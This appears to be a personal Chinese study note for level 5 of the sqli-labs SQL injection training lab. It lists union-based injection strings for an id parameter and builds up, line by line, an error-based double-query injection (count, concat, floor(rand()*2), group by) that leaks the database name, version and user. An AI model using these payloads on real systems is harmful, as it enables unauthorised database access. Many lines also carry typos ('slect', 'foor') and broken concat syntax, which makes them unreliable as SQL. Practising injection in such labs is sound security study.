sqlilabs 5

第一个1不断返回true,2可以进行更改
?id=-1' union select 1,2,3 and '1
?id=-1' union select 1,2,3 and 1='1

?id=-1' union select 1,@@datadir,3 and '1
@@datadir可以替换为 current_user,database() etc..

select rand();
select foor();

select table_name,table_schema from information_schema.tables group by table_schema;

select database();
slect(select database());
slect concat (select database());
slect concat (0x3a,0x3a,select database(),0x3a,0x3a);
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a;
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;